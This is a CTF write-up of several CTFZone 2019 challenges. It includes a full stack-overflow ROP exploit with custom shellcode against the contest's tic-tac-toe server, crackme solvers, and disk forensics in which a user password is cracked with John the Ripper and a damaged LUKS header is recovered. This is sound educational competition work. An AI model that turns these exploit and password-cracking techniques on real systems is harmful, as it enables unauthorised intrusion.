I played CTFZone 2019 Quals in zer0pts.
Our team got 879pts and kept 37th place.

Thank you for organizing the CTF. Here's the tasks and solvers for some challenges I solved.
https://bitbucket.org/ptr-yudai/writeups/src/master/2019/CTFZone_2019_Quals/
[Pwn] Tic-tac-toe
Description: I'm the best AI architect ever. No one can beat my superb tic-tac-toe algorithm. Prove me wrong. Server: nc pwn-tictactoe.ctfz.one 8889 Files: tictactoe, server.py
We're given a 64-bit ELF and python server.
$ checksec -f tictactoe RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE No RELRO No canary found NX disabled No PIE No RPATH No RUNPATH 125 Symbols No 0 14 tictactoe
The binary connects to the server and the server has the flag.
We need to win an impossible game 100 times to get the flag.
It has a simple stack overflow vulnerability when it reads our name.
So, we can easily take the control but must keep it in mind that it's over socket.
There's a function named send_flag, which asks the server for the flag and prints the response.
However, we need to bypass the following checks to get the flag.
if session not in self.sessions: err = ERROR_SESS msg = "You trying to cheat on me!\n" elif self.sessions[session]['level'] < FLAG_COUNT: err = ERROR_SESS msg = "You trying to cheat on me!\n" else: err = ERROR_NO msg = FLAG
The first check can be bypassed just by calling reg_user with proper rdi value set.
The second check is annoying. We must win the game 100 times.
I wrote a shellcode which "wins" the game 100 times as we can decide the computer's moves.
The point is that I called send_flag in order to make rdx(=recv size) enough to store my shellcode.
from ptrlib import * import time fd = 4 elf = ELF("./tictactoe") #sock = Socket("0.0.0.0", 8889) sock = Socket("pwn-tictactoe.ctfz.one", 8889) rop_pop_rdi = 0x0040310b rop_pop_rsi_r15 = 0x00403109 addr_shellcode = elf.section(".bss") + 0x400 shellcode = b'\x49\xc7\xc7\x64\x00\x00\x00' for h, c in [(0,3), (1,4), (2,8)]: shellcode += b'\xb9' + p32(h) shellcode += b'\xba' + p32(c) shellcode += b'\x48\xbe' + p64(elf.symbol('session')) shellcode += b'\x48\xb8' + p64(elf.symbol('server_ip')) shellcode += b'\x48\x8b\x38' shellcode += b'\x49\xbc' + p64(elf.symbol('send_state')) shellcode += b'\x41\xff\xd4' shellcode += b'\x49\xff\xcf' shellcode += b'\x4d\x85\xff' shellcode += b'\x0f\x85\x6a\xff\xff\xff' shellcode += b'\xc3' shellcode += b'\x00' * (0x102 - len(shellcode)) time.sleep(1) payload = b'A' * 0x58 payload += p64(rop_pop_rdi) payload += p64(elf.section('.bss') + 0x100) payload += p64(elf.symbol('reg_user')) payload += p64(elf.symbol('send_flag')) payload += p64(rop_pop_rdi) payload += p64(fd) payload += p64(rop_pop_rsi_r15) payload += p64(addr_shellcode) payload += p64(0xdeadbeef) payload += p64(elf.symbol('recv_all')) payload += p64(addr_shellcode) payload += p64(elf.symbol('send_flag')) payload += b'A' * (0x800 - len(payload)) sock.sendafter(": ", payload) time.sleep(1) sock.send(shellcode) time.sleep(3) sock.interactive()
Yay!
$ python solve.py
[+] __init__: Successfully connected to pwn-tictactoe.ctfz.one:8889
[ptrlib]$
You trying to cheat on me!
[ptrlib]$
ctfzone{h3r3_w3_g0_4g41n_t1c_t4c_t03_1z_4_n1z3_g4m3}
[Rev] Baby rev
Description: EZ task for beginners in RE. Don't forget to add ctfzone and curly braces before submitting flag (like ctfzone{FLAG_HERE}).
File: BABY_REV.EXE
It's a 16-bit MS-DOS executable. It can't be recognized by IDA but I loaded it as a binary file and somehow found the main routine. This is the overview of the program:
int main(int argc, char **argv) { short c; int i, j; FILE *fp; char key[0x50*6]; if (argc < 2) { printf("usage: %s <key_file>\n", argv[0]); return 1; } fp = fopen(argv[1], "rb"); if (fp == NULL) { printf("cannot open file %s\n", argv[1]); return 1; } for(i = 0; i < 6; i++) { for(j = 0; j < 0x50; j++) { c = fgetc(fp); if (c != EOF) { buffer[i*0x50+j] = c; } } } if (check01(key) == 0 || ... || check08(key) == 0) { printf("Incorrect flag\n"); } else { for(i = 0; i < 6; i++) { for(j = 0; j < 0x50; j++) { printf("%c", key[i * 0x50 + j]); } } } }
Each checkXX function checks every byte of key like this:
40c: 80 3c db cmpb $0xdb,(%si) 40f: 74 03 je 0x414 411: e9 12 02 jmp 0x626 414: 80 7c 01 db cmpb $0xdb,0x1(%si) 418: 74 03 je 0x41d 41a: e9 09 02 jmp 0x626 41d: 80 7c 02 db cmpb $0xdb,0x2(%si) 421: 74 03 je 0x426 423: e9 00 02 jmp 0x626 426: 80 7c 03 bb cmpb $0xbb,0x3(%si) 42a: 74 03 je 0x42f ...
I wrote a python script.
import re key = b'?' * (0x50*6) key = b'\xdb' + key[1:] with open("disasm.txt", "r") as f: for line in f: if 'cmpb' not in line: continue r = re.findall("\$0x([0-9a-f]+),0x([0-9a-f]+)\(%si\)", line) if r: val = int(r[0][0], 16) ofs = int(r[0][1], 16) key = key[:ofs] + bytes([val]) + key[ofs+1:] for i in range(6): for j in range(0x50): c = key[i*0x50+j] if c == 0xdb: c = ord('#') elif c == 0xcd: c = ord('.') elif c != 0x20 and c != 0x0a: c = ord('_') print(chr(c), end="")
ctfzone{N1C3_FLAG!1}
$ python solve.py ###__ ##_ ##_ ######_######_ #######_##_ #####_ ######_ ##_ ##__ ####_ ##_###_##_....__....##_ ##_...._##_ ##_..##_##_...._ ##_###__ ##_##_ ##__##_##_ #####__ #####_ ##_ #######_##_ ###_##__##__ ##__##_##_ ##_##_ _...##_ ##_.._ ##_ ##_..##_##_ ##__._ ##__ ##_ _####_ ##__######_######__#######_##_ #######_##_ ##__######__##_ ##__ _._ _..._ _._ _.....__....._ _......__._ _......__._ _._ _....._ _._ _.__
[Rev] Strange PDF
Description: You have one PDF file. Now calculate the flag. It's in decimal, by the way. File: document.pdf
The PDF just says:

I found startxref and xrefs for objects are wrong. As the xref for even the first object is wrong, I realized a weired comment was inserted in the head of the PDF. Also, file command says it's DOS/MBR boot sector.
$ file document.pdf document.pdf: DOS/MBR boot sector
So, I interpreted the comment as DOS machine code.
and ax, 0x4450 inc si sub ax, 0x2e31 xor al, 0xa and ax, 0xb7e2 mov ah, 2 mov bh, 0 mov dh, 1 mov dl, 1 int 0x10 mov ah, 0xa mov al, 0x39 mov bh, 0 mov cx, 5 int 0x10 mov ah, 2 mov bh, 0 mov dh, 1 mov dl, 3 int 0x10 mov ah, 0xa mov al, 0x33 mov bh, 0 mov cx, 1 int 0x10
This code outputs 99399 and I got the flag by setting this value as x.
[Forensics] Joshua
Description: This should be an easy one, just remember to rock. (Sorry, the flag on disk begins with CTFZone, please change it to all lowercase, when you submit). Files: joshua.img
We're given a 20GB disk dump.
$ mmls joshua.img
DOS Partition Table
Offset Sector: 0
Units are in 512-byte sectors
Slot Start End Length Description
000: Meta 0000000000 0000000000 0000000001 Primary Table (#0)
001: ------- 0000000000 0000002047 0000002048 Unallocated
002: 000:000 0000002048 0007999487 0007997440 Linux Swap / Solaris x86 (0x82)
003: ------- 0007999488 0008001535 0000002048 Unallocated
004: Meta 0008001534 0039835647 0031834114 DOS Extended (0x05)
005: Meta 0008001534 0008001534 0000000001 Extended Table (#1)
006: 001:000 0008001536 0039835647 0031834112 Linux (0x83)
007: 000:002 0039835648 0041932799 0002097152 Linux (0x83)
008: ------- 0041932800 0041943039 0000010240 Unallocated
First of all, I checked the bash history of root user.
$ icat joshua.img -o 0008001536 24 usermod -l joshua -d /home/joshua -m vospnh cat /etc/hostname cat /etc/hosts usermod -l joshua -d /home/joshua -m vospnh groups groups vospnh groups joshua groupmod -n joshua vospnh reboot
Let's check the history of joshua.
$ icat joshua.img -o 0008001536 281438 sudo nano /etc/hostname sudo nano /etc/hosts cat /etc/host cat /etc/hostname sudo passwd root su root sudo blkid sudo mount /dev/sdb1 sudo mount /dev/sdb1 /mnt syn sync sudo cryptsetup close cryptovolume chsh -s /bin/zsh echo $(SHELL) zsh cat /var/log/auth.log faillog chsh -s zsh sudo apt install zsh chsh -s /bin/zsh sudo apt install keepass2 keepass2 sudo luksformat /dev/sda3 sudo cryptsetup close /dev/mapper/ ls /dev/mapper chsh -s /bin/bash rm ~/.zshrc rm ~/.zsh_history sudo apt remove zsh ls -a cd ~ ls ls -a rm -r .oh-my-zsh/
Obviously it's a malicious user. What he/she had done is:
- Install zsh, cryptsetup and keepass2
- Edit /etc/hostname and /etc/hosts
- Change password for root
- Encrypts /dev/sda3
These actions can also be seen in /var/log/auth.log.
He uses zsh for some actions in order not to leave the log.
First, I extracted the keepass database and the key file.
KeepItSafe.kdbx and KeepItSafe.key are located in /home/joshua/Documents.
$ fls joshua.img -o 0008001536 281306 r/r * 284143(realloc): KeepItSafe.key r/r * 284675(realloc): KeepItSafe.kdbx.tmp r/r 284675: KeepItSafe.kdbx
Second, I extracted /etc/passwd and /etc/shadow, and cracked the password for joshua with using John the Ripper and rockyou.txt.
After running john for an hour, I found the password cycofr3ak.

I opened the keepass database with the key file and the password, and found an entry named VerySecureKey, whose password is ZRLkirbilgQEtueuhqPCCzcYgvLxQ8.
So, keepass part is done.
What we need to do is decrypt the disk encrypted with luks format.
We can find the following commands from /var/log/auth.log.
/sbin/cryptsetup luksHeaderBackup /dev/sda3 --header-backup-file /sbin/secure/hb /bin/dd if=/dev/urandom of=/dev/sda3 bs=512 count=1
It corrupts the header but also keeps the backup. So, using the backup file we may find the head of the luks-encrypted disk. I wrote a simple script to find the encryped disk.
with open("hb", "rb") as f: hb = f.read(0x100000) ofs = 0 with open("joshua.img", "rb") as f: while True: buf = f.read(len(hb)) if buf == b'': break x = buf.find(hb[512:0x1000]) if x >= 0: print(hex(ofs + x - 512)) ofs += len(buf)
It finds 2 sections, one for /sbin/secure/hb and another for the disk (0x4bfb00000).
I dumped the disk and fixed the header, then run cryptsetup luksOpen encrypted.luks luks to mount the image.
Finally I found the flag in the mounted volume.
ctfzone{cryptographic_volumes_are_only_as_good_as_the_weakest_link}
[Rev] M394Dr1V3 cr4cKM3
Description: Hey, I've found this old crackme under the rug in the attic, could you solve it for me? Don't forget to add ctfzone and curly braces before submitting flag (like ctfzone{FLAG_HERE}).
File: m394Dr1V3_cr4cKM3.bin
We're given a Mega Drive ROM file.
$ file m394Dr1V3_cr4cKM3.bin m394Dr1V3_cr4cKM3.bin: Sega Mega Drive / Genesis ROM image: " " (GM 01234567-89, COPYLEFT CTFZONE)
I used genesis script to import the ROM with ghidra, and DGen/SDL to emulate the ROM. We need to enter 16-byte password.

How great of Ghidra! It's decompling the process perfectly!

I wrote a script to find the key.
from z3 import * key = [BitVec("key{:02x}".format(i), 8) for i in range(0x10)] s = Solver() for c in key: s.add(And(ord('0') <= c, c <= ord('Z'))) s.add(And( key[0]*0x4f + key[1]*0x28 + key[2]*0x04 + key[3]*0x1c == (-9 % 0x100), key[0]*0x25 + key[1]*0x3f + key[2]*0x05 + key[3]*0x3c == 0x2f, key[0]*0x60 + key[1]*0x40 + key[2]*0x5e + key[3]*0x08 == 2, key[0]*0x3b + key[1]*0x01 + key[2]*0x4e + key[3]*0x10 == (-0x4a % 0x100) )) s.add(And( key[4]*0x4f + key[5]*0x28 + key[6]*0x04 + key[7]*0x1c == (-0x48 % 0x100), key[4]*0x25 + key[5]*0x3f + key[6]*0x05 + key[7]*0x3c == (-3 % 0x100), key[4]*0x60 + key[5]*0x40 + key[6]*0x5e + key[7]*0x08 == 0x18, key[4]*0x3b + key[5]*0x01 + key[6]*0x4e + key[7]*0x10 == (-0x71 % 0x100) )) s.add(And( key[8]*0x4f + key[9]*0x28 + key[10]*0x04 + key[11]*0x1c == 0x3e, key[8]*0x25 + key[9]*0x3f + key[10]*0x05 + key[11]*0x3c == (-0x48 % 0x100), key[8]*0x60 + key[9]*0x40 + key[10]*0x5e + key[11]*0x08 == (-0x70 % 0x100), key[8]*0x3b + key[9]*0x01 + key[10]*0x4e + key[11]*0x10 == (-0x20 % 0x100) )) s.add(And( key[12]*0x4f + key[13]*0x28 + key[14]*0x04 + key[15]*0x1c == (-0x31%0x100), key[12]*0x25 + key[13]*0x3f + key[14]*0x05 + key[15]*0x3c == (-0x7b%0x100), key[12]*0x60 + key[13]*0x40 + key[14]*0x5e + key[15]*0x08 == (-0x34%0x100), key[12]*0x3b + key[13]*0x01 + key[14]*0x4e + key[15]*0x10 == 0x41 )) answer = ['?' for i in range(0x10)] r = s.check() if r == sat: m = s.model() for d in m.decls(): print(d, m[d]) answer[int(d.name()[3:], 16)] = chr(m[d].as_long()) answer = ''.join(answer) print("Found!") print(answer) else: print("unsat...")
I got the flag by entering this key in the emulator.

ctfzone{0mg_it$fu11_0f_f1ags_lo1!}